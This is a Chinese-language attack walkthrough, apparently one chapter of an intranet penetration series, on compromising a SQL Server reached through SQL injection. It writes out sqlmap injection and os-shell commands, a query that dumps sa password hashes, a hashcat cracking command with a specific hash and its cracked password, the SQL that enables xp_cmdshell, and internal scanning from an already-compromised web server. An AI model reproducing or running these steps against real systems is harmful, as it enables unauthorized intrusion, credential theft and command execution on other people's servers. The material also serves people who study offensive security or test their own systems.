攻数据库
内容简介
本小节主要讲解了如何去攻击内网中的 SQL Server 服务器的各种姿势,本文会考虑到一些极端情况,比如读取的 Hash 如果无法解密、SQLMap 无法执行 --os-shell
等情况。
读取 hash
我们首先进入 SQLMap 的 sql-shell 模式:
python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=S --dbms=mssql --skip-urlencode -p fileid --sql-shell
然后尝试直接读取数据库认证信的 Hash 记录:
发现默认是无法查看这些 hash 的,SQLMap 下看这些 hash 是乱码的,这是因为 password_hash
列通常是以二进制数据(BLOB,Binary Large Object)的形式存储密码的哈希值。
编码读取
为了读取二进制格式的 password_hash
值,我们可在 SQL Server 中,可以使用CONVERT
函数来讲二进制的信息编码来查询:
SELECT name, CONVERT(NVARCHAR(MAX), password_hash, 1) AS hashed_password FROM master.sys.sql_logins;
成功获取到了 sa 用户的 password_hash 值:
MSSQL password_hash
我们拿去 CMD5 解密看看,幸运的是有解,就是需要我们去充值才可以:
哈希破解
自己动手,丰衣足食,那我们直接准备一个自己的字典和 hashcat,直接开始跑吧:
hashcat -a 0 -m 1731 '0x020010D6C3C2F05E9EA2B62B0C33481002BDFBB75C53F72214BC75EAB411DB8D0745C2E21A0245BC21FDEF60F781472DCDF61213B2A1FB12DEFAF85B2820BE1255A787136505' <字典路径> -O
更多 Hashcat 知识学习
Hashcat 学习记录 - 国光:https://www.sqlsec.com/2019/10/hashcat.html
很快啊,也就 2 秒,我们的 37w 密码字典就跑完了,成功解密出 sa 的密码为:1qazwsx#EDC
--os-shell
既然当前用户是 sa 超级管理员的话,我们为什么不直接尝试一下试试看 SQLMap 自带的 --os-shell
呢?
python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid --os-shell
但是可惜当前的 SQL Server 2012 环境下默认无法执行 --os-shell
,我们接受不到任何结果,这并不是没有回显,我们使用 DNSLog 平台也是无法获取到相关记录的:
xp_cmdshell
通过 SQL 来命令执行是需要 开启 xp_cmdshel,在老版本的 SQL Server 环境默认是开启的,由于我们是新一点的 SQL Server 2012,所以需要我们手动来开启一下 xp_cmdshel,我们可以使用 sa 用户执行如下 SQL 语句即可开启:
/*允许修改高级参数*/
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
/*开启xp_cmdshell*/
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
那我们直接进入 SQLMap 的 --sql-shell 模式:
python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid --sql-shell
然后执行如下的 SQL 语句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
然后直接 sql-shell 下命令执行 DNSLog 域名测试看看:
成功执行了我们的命令:
默认堆叠查询的 --sql-shell 下是无回显的, 只能借助 DNSLog 平台来验证,但是并不影响我们来下载 exe 执行并上线主机。
命令执行
如果想要可回显的命令执行,此时我们再次来执行 --os-shell
即可看到回显:
python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid --os-shell
我们此时执行一些命令,比如 whoami
都是可以正常看到回显的,但是由于是盲注的原因,返回的结果比较慢,建议大家执行短一点的命令来验证:
虽然权限不高,但是用来上线我们的主机是绰绰有余了。
端口扫描
SQL Server 的默认端口是 1433 端口,很明显和泛微 OA 的网站服务器不是一台,站库分离的,而且之前我们探测内网好像没有扫描到这个端口,所以这次我们需要更详细的扫描一下同网段的资产,来定位到数据库的主机。
我们这里端口扫描不准备挂代理扫描,为了更详细的扫描我们这里考虑直接在外网服务器上做端口扫描。
fscan 开源项目
https://github.com/shadow1ng/fscan 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
我们下载最新的 fscan 编译好的包,然后上传到我们的蚁剑控制的外网服务器上:
然后手动扫一下当前的 172 网段的信息:
让我们来看看 fscan 在网段扫描的结果,发现了 SQL Server 的数据库地址为:172.18.100.254
感觉是通过网关映射出来的,而且还有其他扫描信息,不过这信息我们通过之前的信息收集基本上也都发现了:
连接数据
既然知道了 SQL Server 的用户名和密码的话,且知道数据库地址的话,那我们来直接连接吧。连接前先手动让我们的 Windows 客户端挂一下代理:
使用 Navicat 来连接,输入我们之前脱的用户名和密码成功连接:
这样我们查询执行 SQL 语句就方便很多了:
主机上线
既然可以直接执行命令的话,那么我们来直接上线 SQL Server 的主机吧。但是可惜了只有 DNS 可以出外网,我们无法直接上线,使用 DNS 上线的话,会卡的一批,不到万不得已不建议大家这样操作:
所以关于如何上线这台主机的话,就需要我们下一章节来详细介绍了。